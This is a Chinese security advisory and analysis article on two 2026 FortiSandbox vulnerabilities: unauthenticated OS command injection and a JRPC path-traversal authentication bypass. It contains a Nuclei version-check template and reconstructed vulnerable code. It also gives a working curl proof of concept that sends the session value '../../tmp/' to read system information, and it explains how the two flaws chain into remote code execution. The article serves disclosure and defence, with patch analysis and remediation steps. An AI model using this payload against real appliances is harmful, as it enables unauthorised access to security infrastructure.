导语:2026年4月14日,Fortinet官方发布安全公告,同一天披露了两个CVSS评分高达9.1的FortiSandbox关键漏洞:CVE-2026-39808(未授权OS命令注入)和CVE-2026-39813(JRPC API路径遍历认证绕过)。两个漏洞均无需任何凭证即可利用。一旦串联,攻击者可直接拿下这台本应用于检测恶意软件的安全设备——沙箱被攻破,意味着整个组织的威胁检测链条从根上烂掉。
一、漏洞概述
2026年4月14日,Fortinet(飞塔)一口气发布两条FortiSandbox高危漏洞公告,涉及安全公告FG-IR-26-100和FG-IR-26-112。
| 漏洞编号 | 类型 | CVSS | 影响版本 | 修复版本 |
|---|---|---|---|---|
| CVE-2026-39808 | OS命令注入(CWE-78) | 9.1 | 4.4.0-4.4.8 | 4.4.9 |
| CVE-2026-39813 | 路径遍历认证绕过(CWE-24) | 9.1 | 4.4.0-4.4.8、5.0.0-5.0.5 | 4.4.9、5.0.6 |
CVE-2026-39808由毕马威西班牙分部安全研究员塞缪尔·德卢卡斯·马罗托(Samuel de Lucas Maroto)发现上报,FortiSandbox的HTTP请求处理层存在OS命令注入,未认证攻击者可通过精心构造的HTTP请求在沙箱服务权限下执行任意系统命令。
CVE-2026-39813由Fortinet内部PSIRT团队发现,存在于FortiSandbox的JRPC API中,攻击者通过路径遍历手法可绕过身份认证,无需任何凭证即可冒充特权会话。

二、CVE-2026-39808:未授权OS命令注入
2.1 漏洞原理
CVE-2026-39808属于OS命令注入漏洞(CWE-78),官方名称为”对操作系统命令中特殊元素的不当中和”。问题出在FortiSandbox的HTTP请求处理流程中,攻击者可以在HTTP请求参数中注入任意系统命令,由沙箱服务进程以 elevated 权限执行。
官方描述原文:
An Improper Neutralization of Special Elements used in an OS Command (‘OS command injection’) vulnerability in FortiSandbox may allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests.
受影响版本仅限FortiSandbox 4.4.0至4.4.8,5.0.x和5.2.x不受影响。
2.2 Nuclei检测模板(POC)
安全研究员rxerium提供了Nuclei检测模板,可用于批量扫描资产:
id: CVE-2026-39808
info:
name: FortiSandbox - Unauthenticated OS Command Injection (CVE-2026-39808)
author: rxerium
severity: critical
description: |
An Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
vulnerability [CWE-78] in FortiSandbox may allow an unauthenticated attacker to execute
unauthorized code or commands via crafted HTTP requests.
Affected: FortiSandbox 4.4.0-4.4.8 only. NOT affected: 5.0.x, 5.2.x.
reference:
- https://fortiguard.fortinet.com/psirt/FG-IR-26-100
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39808
metadata:
vendor: Fortinet
product: FortiSandbox
affected-versions: "4.4.0-4.4.8"
fixed-versions: "4.4.9"
shodan-query: 'http.title:"FortiSandbox"'
published: "2026-04-14"
tags: fortisandbox,fortinet,rce,command-injection,version-check,cwe-78
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/ng/login?returnUrl=%2F"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<title>FortiSandbox"
part: body
- method: GET
path:
- "{{BaseURL}}/api/v1/system/firmware"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: dsl
dsl:
- 'compare_versions(version, ">=4.4.0", "<=4.4.8")'
extractors:
- type: regex
name: version
regex:
- 'v(d+.d+.d+)'
group: 1
这个Nuclei模板包含两步检测:第一步确认目标为FortiSandbox设备,第二步通过版本比较确认是否存在漏洞。
2.3 影响与利用价值
命令注入漏洞的可怕之处在于”无认证即可RCE”。攻击者直接拿到的是FortiSandbox服务器的shell权限,而FortiSandbox通常部署在网络的”咽喉要道”——接收来自邮件网关、Web代理、终端Agent的文件样本和URL进行 detonation(引爆分析)。
攻陷沙箱后,攻击者可以做两件事:
- 篡改判定结果:悄悄把恶意文件标记为”安全”,让恶意载荷一路绿灯进入内网
- 持久化控制:在沙箱本身建立后门,作为内网横向跳板
讽刺的是,一个本应检测高级威胁的设备,沦为了攻击者的桥头堡。
三、CVE-2026-39813:路径遍历认证绕过
3.1 漏洞原理
CVE-2026-39813是FortiSandbox JRPC API中的路径遍历漏洞,位于is_valid_session()函数。该函数将用户可控的session_id参数直接传入os.path.join(DIRRPCSESS, session_id),未做任何输入验证。
核心代码(逆向重构伪代码):
def is_valid_session(session_id, remote_ip):
fpath = os.path.join(DIRRPCSESS, session_id) # DIRRPCSESS = "/usr/rpcsess/"
if not os.path.exists(fpath):
return False
mtime = os.path.getmtime(fpath)
if time.time() - mtime > RPC_SESSION_TIMEOUT: # 3600秒
return False
renew_session(fpath) # os.path.utime(fpath, None) — 刷新mtime
return True
session_id来自HTTP请求JSON body,完全受攻击者控制。关键在于:os.path.join()会保留路径中的../成分,Python标准库不做路径净化。
| 输入(session_id) | 解析后路径 | 结果 |
|---|---|---|
abc123def456...(正常会话) | /usr/rpcsess/abc123def456... | 正常认证 |
../../tmp/(攻击路径) | /usr/rpcsess/../../tmp/ = /tmp/ | 绕过认证 |
../../etc/hostname(攻击路径) | /usr/rpcsess/../../etc/hostname | 绕过认证 |
攻击者选择/tmp/作为目标,是因为:每个FortiSandbox实例的/tmp/目录必然存在,且系统cron任务、日志轮转、Redis缓存等进程会持续刷新/tmp/的mtime,使其始终满足”3600秒内被访问过”的条件。此外,renew_session()每次验证成功后还会调用os.path.utime()刷新mtime,所以只要每小时发送一次请求,会话就永远有效。
3.2 认证架构双层设计缺陷
FortiSandbox的Web管理界面基于Django构建,采用两层认证架构:
第一层:Django中间件(FSAuthenticationMiddleware)
/jsonrpc路径在AUTH_PATH_EXCEPTIONS白名单中 → 跳过Django认证- 其他路径 → 通过
authenticate()检查session cookie
第二层:JRPC内置认证
is_valid_session()验证session_id
第一层把/jsonrpc放进白名单是有意设计——JRPC有自己的会话认证系统。但第二层存在路径遍历漏洞,整个认证体系被撕开一个口子。
更糟的是,在rpc.py的process()函数中还发现了另一条”双路径”设计缺陷:
# Path A (form-urlencoded POST): 有session校验
data = json.loads(request.POST['data'])
is_valid_session(data['session'], remote_ip) ← 有检查
↓ True → 继续处理
# Path B (JSON body / fallback): 完全跳过session检查
json.loads(request.body) ← 直接解析,无session提取
→ URL路由分发 ← 根本没有调用is_valid_session()!
使用Content-Type: application/json的请求不仅绕过了Django中间件,还完全绕过了RPC层的session检查。安全完全依赖各个handler自己的权限判断——这是极脆弱的纵深防御模型。
3.3 攻击演示POC
① 未授权获取系统信息:
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/"
-H "Content-Type: application/json"
-d '{
"id": 1,
"session": "../../tmp/",
"method": "get",
"params": [{"url": "sys/status"}],
"ver": "2.0"
}'
成功响应包含26个字段的系统信息:
{
"result": {
"status": {"code": 0, "message": "OK"},
"data": {
"Version": "FortiSandbox-VM v4.48,build0412,251007 (GA)",
"Serial-Number": "FSA-VM0000000000",
"Hostname": "FSA-VM0000000000",
"System-Time": "2026-04-21 10:30:00",
"Disk-Usage": "2.05%",
...
}
}
}
② 批量枚举50+ JRPC API端点:
固件审计揭示的JRPC API端点分布:
| 类别 | 端点 | 认证绕过后可访问 |
|---|---|---|
| 系统信息 | sys/status、sys/system_resource | 可读 |
| 扫描配置 | config/scan/options、config/scan/file_exts | 可读 |
| 系统备份 | backup/config | 可读(含32KB加密备份) |
| 网络配置 | config/system/interface、config/system/dns | 需要权限 |
| 管理员管理 | config/system/administrator | 需要权限 |
③ 下载加密系统备份:
# backup/config端点返回32KB OpenSSL加密数据(Salted__前缀)
# 加密密钥存储在/etc/secret_key
# 若攻击者同时能通过路径遍历读取该文件,可离线解密完整系统配置
3.4 权限模型分析
写操作(如修改密码、修改网络配置)有额外保护:
def has_admin_write_permission(sess_id):
user = get_username_by_sessionid(sess_id) # 从session文件读取用户名
perm = get_user_privileges(user) # 查询数据库权限
# 当session为../../tmp/时:
# get_username_by_sessionid()尝试open("/tmp/", "r") → 目录 → 抛出IsADirectoryError
# 异常被捕获 → 返回INVALID_SESSION → 写操作被阻止
因此路径遍历不能直接用于管理员权限提升,但只读端点的信息泄露本身就构成重大风险——攻击者可以获取版本号、主机名、序列号、扫描配置,甚至32KB加密系统备份。
3.5 补丁分析:正则白名单彻底根治
Fortinet在4.4.9版本中的修复策略优雅而彻底——在is_valid_session()入口添加正则白名单校验:
# 4.4.9修复后的is_valid_session()
def is_valid_session(session_id, remote_ip):
md5_pattern = '^[a-fA-F0-9]{32}$'
is_md5 = bool(re.match(md5_pattern, str(session_id)))
if not is_md5:
return False # 只允许32位十六进制字符串
fpath = os.path.join(DIRRPCSESS, session_id)
# ... 后续逻辑不变
字节码级别diff确认变更:
4.4.8: Locals: 5 | Names: os, path, join, DIRRPCSESS, ...
4.4.9: Locals: 7 | Names: os, path, join, ..., bool, re, match, str
Constants: 新增 '^[a-fA-F0-9]{32}$'
正规会话ID由secrets.token_hex(16)生成,恒定为32位十六进制字符串。该修复从根源上消灭了路径遍历攻击面。
四、双漏洞串联:拿下沙箱的完整攻击链
两个漏洞单独利用已经足够严重,但串联起来才是真正的噩梦:
第一步:CVE-2026-39813路径遍历认证绕过
↓ 无需凭证获取系统信息和配置
第二步:CVE-2026-39808 OS命令注入
↓ 在沙箱服务权限下执行命令
结果:完整远程代码执行(RCE)
沙箱服务通常以root或system权限运行,这意味着攻击者拿到的是目标服务器的完全控制权。
攻击者拿到沙箱权限后的操作空间:
- 篡改恶意软件判定结果,让恶意载荷标记为”安全”并放行
- 在沙箱服务器部署持久化后门
- 以沙箱为跳板进行内网横向移动
- 窃取历史分析数据和系统备份
五、影响范围与处置建议
5.1 受影响版本汇总
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| FortiSandbox 4.4 | 4.4.0-4.4.8 | 4.4.9 |
| FortiSandbox 5.0 | 5.0.0-5.0.5 | 5.0.6 |
| FortiSandbox 5.2 | 不受影响 | 不适用 |
| FortiSandbox PaaS 5.0 | 不受影响 | 不适用 |
5.2 紧急处置建议
立即行动(24小时内):
- 清点所有FortiSandbox实例,确认版本号
- 无法立即升级的,在WAF/IPS设备上配置规则:阻断JRPC请求中包含
../字符的流量 - 限制管理接口暴露,只允许可信管理IP访问
日志排查:
- 排查2026年3月31日至今的FortiSandbox访问日志
- 重点关注:
/jsonrpc/路径的异常请求、../路径遍历特征、/api/v1/system/firmware的扫描行为
完整修复:
- 将所有FortiSandbox 4.4.x升级至4.4.9或更高版本
- 将所有FortiSandbox 5.0.x升级至5.0.6或更高版本
- 升级后审计近期判定结果,确认无篡改迹象
六、总结
FortiSandbox作为企业级恶意软件沙箱,部署在网络边界负责检测高级威胁,是组织最后一道防线之一。一次性披露两个CVSS 9.1的未授权漏洞,且分别覆盖命令注入和认证绕过两条攻击路径,这意味着:
- 攻击者无需任何凭证即可发起攻击
- 从漏洞公开到武器化,时间窗口极短
- 一旦沙箱被攻破,整个威胁检测体系彻底失效——它告诉你”安全”的样本,可能恰恰是恶意载荷
漏洞披露当天Fortinet尚未确认野外利用,但历史告诉我们:Fortinet设备的漏洞从公开到被大规模利用,往往只有几天。对于这种级别的关键基础设施漏洞,补丁必须以小时为单位推进,而非常规的月度维护窗口。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容